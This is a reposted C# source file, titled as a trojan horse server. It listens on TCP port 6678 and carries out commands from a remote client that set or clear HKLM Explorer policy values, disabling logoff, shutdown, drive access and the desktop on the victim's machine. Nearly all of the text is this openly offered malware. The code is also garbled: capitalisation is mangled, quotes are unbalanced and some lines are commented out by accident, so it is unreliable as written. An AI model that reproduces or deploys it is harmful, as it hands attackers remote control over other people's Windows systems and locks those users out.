Trojan Horse Server Source Code (C #)
Author:
WGSCD
cited from:
http://www.putfly.com/show.aspx?id=229&cid=13
Http://www.putfly.com/show.aspx?id=229&cid=13&page=2
Using system;
Using system.drawing;
Using system.collections;
Using system.componentmodel;
Using system.windows.forms;
Using system.data;
Using system.io;
Using system.net;
Using system.net.sockets;
Using system.threading;
USING Microsoft.win32;
Namespace Server
{
/ **
/// Form1 summary description.
/// summary>
Public Class Form1: System.Windows.Forms.form
{
/ **
/// The required designer variable.
/// summary>
Private system.componentmodel.Container Components = NULL;
Private TCPListener Listener;
Private string mystr = "Hello! I am very sorry, your registry:";
Private registryKey rrr = registry.localmachine;
Private registryKey Key1;
Public Form1 ()
{
//
// Windows Form Designer Support
//
InitializationComponent ();
{INT port = 6678;
Listener = New TCPListener (port);
Listener.start ();
Thread thread = New Thread (New ThreadStart (Target));
Thread.start ();
}
//
// Todo: Add any constructor code after INITIALIZECOMPONENT call
//
}
Public void target ()
{
Socket socket = listener.acceptsocket ();
While (socket.connected)
{
Byte [] by = new byte [6];
INT i = socket.receive (by, by.length, 0);
String ss = system.text.Encoding.ascii.getstring (by);
// OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO / bath
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "jiance")
{
String str = "hjc";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
}
IF (ss == "zx1000")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF is modified! Please set it to 0!";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF is modified! Please set it to 0!";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if (ss == "")
/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * &* *****************************
IF (ss == "zx0100)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("Noclose", 1);
Key1.Close ();
MyStr = mystr "localmachine / software / microsoft / windows / currentversion / policies / expensive value NOCLOSE is modified! Please set it to 0!";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("Noclose", 1);
Key2.Close ();
MyStr = mystr "localmachine / software / microsoft / windows / currentversion / policies / expensive value NOCLOSE is modified! Please set it to 0!";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if (ss == "zx0100) {
// ******************************************************** *****************************
// IF (SS == "ZX0010)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 12);
Key1.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodrives is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 12);
Key2.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodrives is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
//
/ / =========================================================================================================================================================================================== ==================== if (ss == "zx0001")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodesktop is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodesktop is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
/ / =========================================================================================================================================================================================== =========================
// $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$
IF (ss == "zx1100)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", true); Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("Noclose", 1);
Key1.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("Noclose", 1);
Key2.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
IF (ss == "zx1010)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("NODRIVES", 12);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"); Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("NODRIVES", 12);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ******************************************************** **
IF (ss == "zx1001")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODESKTOP is modified! Please set it to 0";
}
Catch (Exception EE) {MessageBox.show (Ee.Message);
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODESKTOP is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zx0110")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / Currentversion / Policies / Explorer", true); Key1.SetValue ("Noclose", 1);
Key1.SetValue ("NODRIVES", 12);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("NODRIVES", 12);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zx0101")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("Noclose", 1);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODESKTOP is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODESKTOP is modified! Please set it to 0";} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ***************************************
IF (ss == "zx0011))
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 12);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodrives, Nodesktop is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 12);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodrives, Nodesktop is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ********************************************
IF (ss == "zx1110")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("Noclose", 1);
Key1.SetValue ("NODRIVES", 12);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("NODRIVES", 12);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************
IF (ss == "zx1101")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("Noclose", 1);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODESKTOP is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODESKTOP is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ************************************************
IF (ss == "zx1011)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("NODRIVES", 12);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODRIVES, NODESKTOP is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("NODRIVES", 12);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODRIVES, NODESKTOP is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zx0111")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 12);
Key1.SetValue ("Noclose", 1);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 12);
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zx1111")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 1);
Key1.SetValue ("Noclose", 1);
Key1.SetValue ("NODRIVES", 12);
Key1.SetValue ("Nodesktop", 1);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer" NOLOGOFF, NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0 ";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 1);
Key2.SetValue ("Noclose", 1);
Key2.SetValue ("NODRIVES", 12);
Key2.SetValue ("Nodesktop", 1);
Key2.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// **************************************************
// OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO /
// pppppppppppppppppppppppppppppppPPPPPPPPPPppppPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPppppppppppppppppppppPppppppppppppppppp
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
IF (ss == "zs1000")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if (ss == "")
* * **********************************
IF (ss == "zs0100))
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("noclose", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("noclose", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if (ss == "zx0100) {
// ******************************************************** *******************
//
IF (ss == "zs0010")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
//
/ / =========================================================================================================================================================================================== ==================
IF (ss == "zs0001")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
/ / =========================================================================================================================================================================================== ========================== if (ss == "ZS1100)
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("noclose", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("noclose", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
IF (ss == "zs1010")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("NODRIVES", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"); Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("NODRIVES", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ******************************************************** **
IF (ss == "zs1001")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zs0110")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("NODRIVES", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("noclose", 0);
Key2.SetValue ("NODRIVES", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (STR.TOCHARRAY ()); socket.send (bytee, bytee.length, 0);
} // if
// *************************************************
IF (ss == "zs0101")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("noclose", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ***************************************
IF (ss == "zs0011))
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ********************************************
IF (ss == "zs1110")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", true); Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("NODRIVES", 0);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("noclose", 0);
Key2.SetValue ("NODRIVES", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************
IF (ss == "zs1101")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("noclose", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// ************************************************
IF (ss == "zs1011")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("NODRIVES", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("NODRIVES", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zs0111")
{
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NODRIVES", 0);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
MyStr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES, NODESKTOP is modified! Please set it to 0";
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NODRIVES", 0);
Key2.SetValue ("noclose", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
// *************************************************
IF (ss == "zs1111) {
Try
{
Key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True);
Key1.SetValue ("NOLOGOFF", 0);
Key1.SetValue ("noclose", 0);
Key1.SetValue ("NODRIVES", 0);
Key1.SetValue ("nodesktop", 0);
Key1.Close ();
}
Catch {}
IF (Key1 == Null)
{
Try
{
RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer");
Key2.SetValue ("NOLOGOFF", 0);
Key2.SetValue ("noclose", 0);
Key2.SetValue ("NODRIVES", 0);
Key2.SetValue ("nodesktop", 0);
Key2.Close ();
} // Try
Catch {}
} // if (key1 == null) {
String str = "hkz";
Byte [] bytee = system.text.Encoding.ascii.getbytes (Str.ToChararray ());
Socket.send (Bytee, Bytee.length, 0);
} // if
